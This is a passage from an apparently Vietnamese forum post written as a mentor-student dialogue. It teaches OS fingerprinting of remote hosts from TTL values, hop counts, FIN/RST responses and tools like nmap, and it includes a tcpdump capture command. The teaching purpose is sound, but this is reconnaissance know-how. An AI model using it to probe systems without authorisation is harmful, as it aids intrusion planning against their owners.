&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' hớn  hở:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Chà, lâu lâu được khen một câu thấy phẻ  ra. Nhưng mà em thắc mắc là mình đâu có vào console của một máy nào đó để chạy  lệnh được để mà biết nó có TTL là gì anh? mà đã vào được để chạy lệnh ping thì  cần gì phải nhìn đến TTL mà xác định footprint nữa anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi thong thả trả lời:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Bọn em nghĩ sao với câu hỏi của 'cuti'?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'haothu' đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Chắc đây là  chuyện có liên quan đến việc anh muốn bọn em ngâm cứu kỹ về tcp/ip đây rồi."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' lên tiếng:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Nếu em hiểu không sai thì gói tin nào cũng có mang theo giá trị  TTL cả phải không anh? Vậy bằng cách bắt lấy một đoạn tin thì mình thấy được giá  trị TTL của mục tiêu ngay." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Excellent! Em nhận định rất đúng. Vậy, TTL  field nằm ở đâu, tầng nào trong mô hình tcp/ip?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' nhanh nhảu trả lời:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Có đây, có đây, IP layer phải hông anh? :). Hì hì, có cái cẩm  nang nằm ngay đây công nhận sướng thiệt." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' nhạo:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Chơi ăn gian  vậy mà còn làm như hay lắm. Đừng xem sách coi thử có lẹ như thế không mới hay."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' nói tiếp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em vừa thử sniff vài thứ bằng Ethereal để xem kết quả ra sao thì  thấy có tùm lum thứ, làm sao mình biết cái nào mình cần sniff và cần xem đây  anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Câu hỏi này chỉ có một câu trả lời duy nhất là em phải rành  Ethereal hoặc bất cứ công cụ nào đó dùng để sniff. Em có thể giới hạn loại  traffic nào cần sniff, ví dụ sniff giao thức nào, cổng nào... Anh khó có thể nói  chi tiết, em nên tham khảo tài liệu đi kèm với công cụ em muốn dùng để biết cách  sử dụng. Nếu em dùng Ethereal thì phần 'Help' của nó có chỉ dẫn rất rõ ràng. Nói  về mặt kỹ thuật, để xác định được TTL của máy từ xa em phải tìm cách tương tác  đến nó. Ví dụ, máy chủ em muốn thăm dò có dịch vụ web chẳng hạn; em thử dùng  trình duyệt để duyệt trang web ấy đồng thời sniff các gói tin trên cổng 80. Từ  kết quả sniff được, chắc chắn em có thể xác định được TTL. &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Điều cần nói thêm ở đây là TTL em lấy được không phải của chính  máy chủ ấy. Cho nên, ngoài việc thu thập giá trị TTL, em còn phải xác định thêm  các thông tin khác để xác thực kết quả. Chi tiết thế nào mình bàn sau."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' trả lời:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"A... vậy mà em không xem phần help của Ethereal. Để em xem lại  cẩn thận." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ừa, cũng như 'ccxx' nói lúc nãy: &lt;i&gt;"công cụ càng đa năng, người  dùng cần mất nhiều thời gian để làm quen với nó"&lt;/i&gt;. Muốn đạt được kết quả,  không những em phải vận dụng một cách thành thạo một hoặc nhiều công cụ mà đôi  khi em còn phải phối hợp chúng lại. Anh không đi vào quá chi tiết kẻo em lại  'lùng bùng' nhưng trên nguyên tắc mà nói, em đã biết: &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- TTL cho mỗi hệ điều hành thường khác nhau &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- TTL nằm trên IP header &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- muốn  lấy được TTL của mục tiêu phải 'tương tác' đến hệ thống mình muốn thăm dò.  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- giá trị TTL sniff được không phải lúc nào cũng  là TTL của máy chủ mình muốn lấy. &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Từ các điểm ở  trên, em có thể hình thành một phương pháp thăm dò dựa trên công cụ mình có."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' cười, đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hì hì, em hiểu rồi. Hồi nãy anh có đề cập đến việc 'xác định  thêm các thông tin khác' là sao anh? Chắc là thông tin của những fields khác  trên IP header hay TCP header nữa phải không anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi trả lời:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ừa, và hơn  thế nữa." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' xen vào hỏi:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em đang ở trên con Linux, anh có cái lệnh gì để  sniff cho lẹ không anh? Em muốn xem thử ra sao." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Trên Linux thì  có lẽ có sẵn tcpdump. Tuy nhiên dùng công cụ này hơi khó và để "đọc" được thông  tin mớ tin mà tcpdump bắt được, em cần một công cụ khác như Ethereal hoặc Snort  để đọc. Cách dễ nhất là chạy lệnh: &lt;/span&gt;
&lt;br /&gt;&lt;span class="quotetxt"&gt;Code:&lt;/span&gt;&lt;span class="postbody"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;# tcpdump -s0 port 80 -w abc&lt;/pre&gt; &lt;p class="MsoNormal"&gt;&lt;span class="postbody"&gt;trong khi thử duyệt một website nào đó.  Sao đó ngưng tcpdump (gõ Ctl-C) và copy file abc kia sang máy nào có Ethereal mà  mở ra xem. Chú trọng vào thông tin trên tầng IP." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Chà, hoá ra  cũng phức tạp quá vậy? Để em thử cái xem." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Vài phút im lặng trôi qua. Dường như bộ tứ để tâm vào chuyện  "thử" hoặc đang đợi xem 'cuti' công bố kết quả tìm thấy. 'cuti' phá vỡ sự im  lặng: &lt;/i&gt;&lt;/span&gt;&lt;i&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"À há, em tìm ra rồi. Em sniff được  một đoạn thông tin y như cái lệnh anh cho ở trên và mang sang con Win của em có  Ethereal. Bây giờ thì thấy lồ lộ giá trị "Time To Live" của website em muốn tìm  là 44. Nhưng TTL có giá trị là 44 thì nó là hệ điều hành nào anh?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;[i]Tôi trả lời:&lt;/span&gt;&lt;/i&gt;&lt;span class="postbody"&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hồi nãy mình đã thông qua là  TTL em sniff được không phải là TTL thực sự của máy chủ kia rồi mà? Nếu em lấy  con số này và cho rằng nó chính là TTL của máy chủ em cần dò tìm là thiếu  mất.... một đoạn rồi đó. Cái TTL mà em thấy được đó là TTL sau khi gói tin này  đi xuyên qua bao nhiêu 'hops' trước khi về tới máy của em. Bởi vậy, TTL này phải  cộng thêm số hops đi từ máy chủ đến máy em thì mới ra TTL thật sự của máy chủ  :)" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;docco thốt lên:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Mèn.. mấy cái này anh không nói thì tụi em ăn quả hết ráo."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Bởi vậy anh mới nói là mấy đứa nên nắm vững tcp/ip thì mới mó  tay vào mấy thứ này được. Vả lại những điểm này cũng đi ra từ suy luận mà thôi.  Nếu hiểu rõ TTL là gì, TTL đi và TTL nhận là thế nào thì tự nhiên sẽ thấy rõ mồn  một." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' lại lên tiếng:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em vừa thử duyệt cái trang web đang chạy trên  con Linux, vừa sniff traffic và thấy rằng TTL của nó là 64. Em ping nó, nó cũng  cho biết TTL là 64. Vậy là sao anh? Hồi nãy anh nói là TTL mình sniff được không  phải lúc nào cũng là TTL thật sự của máy chủ mình muốn thăm dò mà?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi trả lời:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"À, một câu hỏi lý thú đó :). Sao em không thử tự hỏi tạo sao TTL  trong trường hợp này chẳng hề thay đổi?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;"cuti" rên rỉ:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hic, anh  làm em thấy... nản rồi đó. Sao mà càng ngày càng tùm lum thứ hết vậy trời :("  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi im lặng vài giây rồi đáp:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Nản thật sao em? Những thứ mình đang bàn ở đây  chỉ là nguyên tắc mà thôi. Nếu mình thực sự đi vào từng điểm kỹ thuật có lẽ  em... chịu không nổi đâu." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' chống  chế:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Nhưng... mỗi lần gặp anh là có thêm  một mớ chuyện để tìm tòi, tra cứu. Mớ trước chưa xong thì mớ sau ập đến thì làm  sao lãnh hội kịp được anh? Em thấy nản là vì để nắm C thì phải hiểu A và B, chưa  nắm xong C thì đã có thêm D, E, F để nghiền ngẫm cho nên đến lúc mình chạm đến  G, H thì coi như em mù." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em nên hiểu rằng những gì mình bàn ở đây là cái  khung mà thôi. Mình không thể đi sâu vào từng chi tiết bởi vì không thể tìm đâu  ra thời gian cả. Ví dụ mình bàn chủ để footprint chẳng hạn, mình chỉ có thể tạo  cái khung cho những gì liên quan đến footprint. Còn mọi chi tiết kỹ thuật ai  cũng phải đọc, suy gẫm và rút tỉa cả thôi em. Nói tóm lại, em cần thời gian,  chuyên tâm và kiên nhẫn để thu gặt kiến thức." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'haothu' xen vào:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em thấy  khúc mắc của Hưng khá dễ hiểu. Có lẽ Hưng bị hoảng vì phải tiếp nhận dồn dập  nhiều thông tin quá mà thôi. Em cũng cảm thấy như vậy." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' tham gia:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em thì  thấy rằng những điều anh nhấn mạnh từ đầu về giềng mối có lý do quá hiển nhiên.  Cũng như Hưng, em cũng bị choáng nhưng em ghi chú rồi về xem kỹ lại sau. Em thấy  chẳng có gì để nản cả." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' cố dẫn  câu chuyện về hướng khác nên nói tiếp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Mình  vẫn còn bàn về TTL, anh có thể 'đào xới' thêm về cái TTL một tí được không anh?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi trả lời:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hèm... TTL.. ok. Cứ hiểu nôm na là mỗi khi gói tin đi qua một  router, TTL nguyên thủy (lúc gói tin tạo ra) sẽ bị trừ đi 1. Chi tiết thế nào  thì em nên xem lại cuốn tcp/ip illustrated của Richard Stevens, quyển này dành  riêng mấy trang nói rất kỹ về TTL. Khi mình đã nắm được nguyên tắc: qua 1  router, TTL trừ 1 thì mình có thể suy luận và hình dung ra được ngay gói tin  'cuti' sniff được ở trên có TTL với giá trị đã được trừ 1 nhiều lần bởi  vì nó phải đi qua nhiều router trước khi về đến máy của 'cuti'. Phải không nào?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ phải." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' xen  vào:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"A, hèn chi em ping và sniff con Linux  server trên cùng một network nên TTL không thay đổi vì nó chẳng qua 'hop' nào  cả. Ái chà, kiểu này phải đọc và nhồi thêm rồi." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi hỏi tới:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Nếu thế thì  để xác định một cách tương đối TTL của gói tin mà 'cuti' sniff được để từ đó  đoán ra hệ điều hành của nó là gì thì mình cần làm sao đây?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' nhanh nhảu:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em nghĩ là mình phải làm sao tính được có bao nhiêu lần gói tin  đó bị TTL trừ 1. Sau đó lấy số lần bị trừ một đó cộng với giá trị TTL của ông  Hưng tìm thấy hẳn phải là TTL nguyên thuỷ." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười, đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Bravo!  thấy chưa? Chuyện đơn giản thế mà chóng thấy nản thì hơi uổng :)"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi hỏi thêm:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Thế thì làm sao mình xác định được bao nhiêu lần gói tin ấy bị  TTL - 1 nhỉ? Có ai có ý kiến gì không?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' rụt rè:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Èm....  tracert phải không anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười, trả  lời:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Đúng rồi đó em. Tuy nhiên, tracert là  chương trình để 'trace route' trên Windows. Chính xác là dùng 'trace route' để  xác định có bao nhiêu hops đi từ máy mình đến máy mình thăm dò. Nên nhớ, đường  gói tin đi (route) từ máy mình đến máy mình thăm dò thường khác đường gói tin đi  từ máy mình thăm dò đến máy của mình đó nha. Cho nên, giá trị hops tìm ra được  bằng traceroute từ máy mình cộng với TTL tìm được từ gói tin chỉ mang tính tương  đối." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' thắc mắc:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Sao vẫn chỉ là tương đối vậy anh? Tạo sao các  hops đi từ máy A đến máy B có thể khác từ máy B đến máy A?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"À, điều này phụ  thuộc vào router và các thuật toán của chúng mà gói tin phải đi qua. Bởi thế,  gói tin đi từ A đến B có thể đi xuyên các route ngắn hơn. Trong khi đó gói tin  đi từ B đến A có thể lại dài hơn. Với điều kiện lý tưởng, độ sai biệt có thể chỉ  nằm trong vòng vài hops. Tuy nhiên, trên thực tế có nhiều yếu tố chủ quan và  khách quan khiến cho đường đi ngược và đường đi xuôi khác biệt nhau."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'haothu' lên tiếng:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Nếu vậy thì dùng TTL để xác định OS quả là mong manh."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười, đáp lời 'haothu':&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Chính vì vậy, kỹ thuật thăm dò đòi hỏi hàng  loạt kỹ thuật và khả năng kết hợp, đúc kết, đối chiếu thông tin lấy được. Đó là  chưa kể đến trường hợp admin nào đó quyết định thay đổi TTL của server vì lý do  nào đó thì kết quả thu thập được lại càng... mong manh hơn."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' thốt:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ui trời... nếu vậy thì bao nhiêu cố gắng tìm TTL, chạy tracert  hoá ra vô ích sao anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hì hì, em muốn... tuyệt vọng hơn không? Đó là  anh chưa kể trường hợp một host nào đó mình muốn thăm dò thật ra nằm đằng sau  một (hoặc nhiều) reverse proxy server. Reverse proxy server này thay mặt server  "thật" để trả lời request từ bên ngoài. Cho nên, TTL này có thể là TTL của  reverse proxy server không chừng? ;-)" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' rú lên:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Anh lừa  em, anh lừa em... anh dẫn dụ toàn là những thứ nặng đô xong rồi lại đưa đến chỗ  kết luận là chúng vô ích. Hèm... vậy mà em ráng dỏng tai lên nghe nãy giờ :("  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười thích thú:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hà hà, vậy là em tuyệt vọng thật sự rồi hả? Thế này, không có  kiến thức nào phí cả. Mục đích tận cùng cho việc nghiên cứu tcp/ip, TTL hay cái  gì đó là để trang bị cho mình lớp kiến thức quan trọng. Sau này, khi em làm  network admin, security specialist hay ngay cả lập trình viên có dính líu đến  mạng, thì mới kiến thức này quý hơn... vàng. Những điều mình bàn ở đây là con  đường đi ra khỏi cái cõi 'kiddie' để trở thành một người có kiến thức thật sự và  có thể ứng dụng kiến thức đó." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;conference  room bao trùm trong sự im lặng. Hồi lâu, 'docco' lên tiếng:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ, em hiểu ý anh rồi. Em chỉ muốn đào xới thêm một tí nữa, được  không anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười, đáp:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Tất nhiên là được. Em muốn... đào cái gì đây?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' nói tiếp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Vậy với tcp/ip, mình còn có thể dựa trên những chi tiết nào khác  để xác định footprint không anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi trả  lời:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Tất nhiên là có. Như anh đã nói trước  đây, các RFC được lập ra nhưng bỏ ngỏ nhiều chi tiết. Bởi thế, các nhóm phát  triển cứ diễn dịch và ứng dụng theo ý họ. Từ đó mới nảy ra những dị biệt. Ví dụ,  nếu tham khảo RFC 793 thì thấy rằng khi một host nhận được gói tin mang flag là  FIN trơ trụi thì không trả lời gói tin này vì nó chẳng ăn nhập vào đâu cả. Gói  tin FIN phải kèm theo ACK để 'acknowlege' xuất truy cập kết thúc. Tuy vậy, nhiều  hệ điều hành ứng dụng không đúng RFC 793 nên mới có trường hợp FIN gởi đi, RST  từ host ấy gởi về. Hệ điều hành phổ biến như Microsoft Windows cũng dính vào  dạng này. Ngoài ra các ứng dụng trên HP/UX, IRIX và ngay cả Cisco cũng không  phải là ngoại lệ. Bởi vậy, dùng một công cụ tạo ra một gói FIN đơn lẻ đến 1 host  và nhận được gói RST trả lời thì em có thể đoán được một trong những hệ điều  hành như trên đang trả lời." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco'  thích thú:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"À, không ngờ có những chuyện lý  thú đến như vậy. Nhưng làm sao mình nắm được hết các hệ điều hành nào có thái độ  như thế nào anh? Và cho dù có nhận được gói RST trả lời, mình cũng không thể xác  định chính xác hệ điều hành đó là gì mà?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Đúng như vậy em.  Để xác định OS footprint một cách chính xác, mình không thể dựa vào &lt;u&gt;một&lt;/u&gt;  thông tin đơn lẻ nào mà phải tổng hợp nhiều thông tin thâu lượm được. Bởi vậy,  các công cụ được viết sẵn để detect footprint thường thi hành một loạt thăm dò  và so sánh với kết quả đã có sẵn trong database của nó. Ngay cả như thế, không  có công cụ nào có thể tuyệt đối xác định được footprint cả."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' cảm thán:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Chà, vụ detect footprint dùng tcp/ip xem ra cũng căng chớ chẳng  dễ dàng gì. Vậy có công cụ nào tự động rà tìm và cung cấp cho mình thông tin về  footprint của một máy chủ nào đó không anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' nhanh nhảu chen vào:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Có đó chứ, nmap đó. Nó có thể thực hiện chuyện này nhưng tui  chưa rành nó lắm vì chưa táy máy nhiều." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi tiếp lời:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Công cụ  dùng để detect OS footprint thì có khá nhiều. Trước đây thì có checkos, queso,  sau này có nmap và một số công cụ thương mại. Tựu trung, chúng làm việc trên  cùng nguyên tắc, chỉ khác nhau tiến trình và độ tỉ mỉ trong khi thực thi công  tác rà tìm. Theo anh, nmap là một công cụ mạnh nhất vì dường như nó mang lại kết  quả trung thực nhất." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'haothu' hỏi:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Vậy sao mình không dùng luôn cái nmap để tìm  footprint cho khoẻ anh? Mình thăm dò bằng tay như nãy giờ mấy anh em mình bàn  vừa chậm lại vừa thiếu chính xác." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi  cười, đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Anh nghĩ không riêng gì em mà  mấy đứa kia cũng suy nghĩ như em vậy. Anh cũng đồng ý với ý kiến của em. Tuy  nhiên, điều quan trọng của việc thăm dò bằng tay là nó mang lại cho em 'in-depth  knowledge'. Em sẽ hiểu sâu, hiểu tường tận khi nhúng tay vào cõi này. Khả năng  kết hợp công cụ để táy máy với tcp/ip stack không chỉ dừng lại cho mục đích thăm  dò mà còn đi xa hơn rất nhiều. Nó sẽ giúp em thâm nhập hoặc bảo mật tùy chọn.  Cái này cũng giống như người lái xe hiểu rõ chiếc xe vận động ra sao, có những  thiết bị nào thay vì chỉ đơn thuần lái xe. Nếu xe bị hỏng hóc, hoặc nếu em muốn  điều chỉnh chiếc xe theo ý thì em bó tay. Sau này, khi em chịu trách nhiệm quản  lý một chuỗi server và em không muốn bị rà tìm footprint bằng các công cụ như  nmap chẳng hạn, em phải hiểu rõ cách nmap làm việc để đánh lừa nó nếu em muốn  ứng dụng một ít 'security from obscurity' :)" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' gật gù:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ái chà,  em chưa nghĩ tới cỡ phải hiểu rõ nmap để đánh lừa nmap. Như anh nói lần trước,  'security from obscurity' chỉ là một lớp vỏ bên ngoài, vậy thì việc gì mình phải  mất thời gian với nó để dấu footprint với nmap scan hở anh?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hì hì, cu Duy tinh tế quá. Thế này, defeat nmap chỉ là một ví  dụ, một trường hợp. Để kiện toàn bảo mật, nếu muốn nhìn từ phương diện này, em  phải hiểu các dạng rà tìm, tấn công, các công cụ thường dùng cho mục đích này để  phòng chống. Khái niệm 'hiểu' này không chỉ gói gọn trong khuôn khổ defeating  nmap hay một công cụ riêng biệt nào cả. Anh ví dụ có một công cụ tự động hoá  dùng để tạo các http header cực lớn nhằm mục đích làm treo web service chẳng  hạn. Có ít nhất hai hướng nhìn để defeat dạng tấn công này. &lt;/span&gt;
